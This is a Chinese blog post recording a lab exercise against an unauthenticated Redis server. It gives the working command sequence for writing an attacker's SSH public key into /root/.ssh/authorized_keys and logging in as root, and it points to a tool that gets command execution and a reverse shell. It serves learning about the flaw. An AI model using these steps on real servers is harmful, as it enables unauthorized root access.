• 从redis未授权访问到获取服务器权限


    从redis未授权访问到获取服务器权限

    好久没写博客了,博客园快荒芜了。赶紧再写一篇,算是一个关于自己学习的简要的记录把。

    这里是关于redis未授权访问漏洞的一篇漏洞利用:

    首先是redis,靶场搭建:

    先是搭建ubuntu靶机,可参考这一篇文章:

    https://zhuanlan.zhihu.com/p/141033713

    全部安装好了之后,安装redis服务,这中间会有很多工具需要自行安装,比如gcc,比如make,按照提示要求自行安装就行了,ubuntu安装还是要比其他linux简单的。

    安装redis服务:

    安装redis服务也不需要重复造轮子了。这位大佬已经写的非常清楚了,参照:

    https://www.cnblogs.com/bmjoker/p/9548962.html

    安装好了之后:

    redis-server /etc/redis.conf   启动redis服务。注意,一定要用root用户启动。

    启动之后,这个redis未授权访问靶机就算搭建完成了。

    漏洞利用:

    如果redis是以root的身份运行,且还是以未授权的方式暴露在公网上,那么攻击者就可以通过redis给root账户写入ssh公钥文件,然后通过自己的私钥连接redis服务器,以root用户身份直接登录服务器。

    下面是漏洞利用过程:

    首先本地生成一对公私钥,使用命令:

    ssh-keygen -t rsa

    于是乎,就会在你的服务器上的.ssh文件夹下生成2个文件,如下:一个公钥,一个私钥:

     将生成的公钥的内容前后添加3个 ,即3个回车,保存到一个txt文件中。

     然后将该txt中的内容写入redis:

    cat test.txt | redis-cli -h 192.168.145.135 -x set ok

    登录redis服务器:

    redis-cli -h 192.168.145.135

    config get dir命令可以得到redis的备份路径

    更改redis备份路径为ssh公钥存放目录,即/root/.ssh:

    config set dir /root/.ssh

    然后设置上传公钥的备份文件名字为authorized_keys:

    config set dbfilename authorized_keys

    然后

    save

    这时,就可以通过ssh -i id_rsa root@192.168.145.135以私钥的方式远程连接redis服务器了。

    上述的漏洞利用方法是必须要求redis服务的运行权限是root权限的,所以比较苛刻。其实,非root用户的redis4.x-5.x版本的redis服务有直接的命令执行漏洞,可以直接那来使用:

    使用脚本:

    https://github.com/vulhub/redis-rogue-getshell

     使用该脚本即可直接在redis服务器上执行命令,进而反弹shell。

  • 相关阅读:
    使用snv命令来更新项目
    linux下实现开机启动应用程序
    Qt Designer 打开失败,报Run time error错误的解决办法。
    <<Effective c++>>读书笔记---条款19:设计class犹如设计type
    字符串的格式化方式
    最新民政部行政区划代码,省市区三级
    DigitalOcean
    (译)Windsor入门教程---第五部分 添加日志功能
    (译)Windsor入门教程---第四部分 整合
    (译)Windsor入门教程---第三部分 编写第一个Installer
  • 原文地址:https://www.cnblogs.com/scivous/p/15086995.html
Copyright © 2020-2023  润新知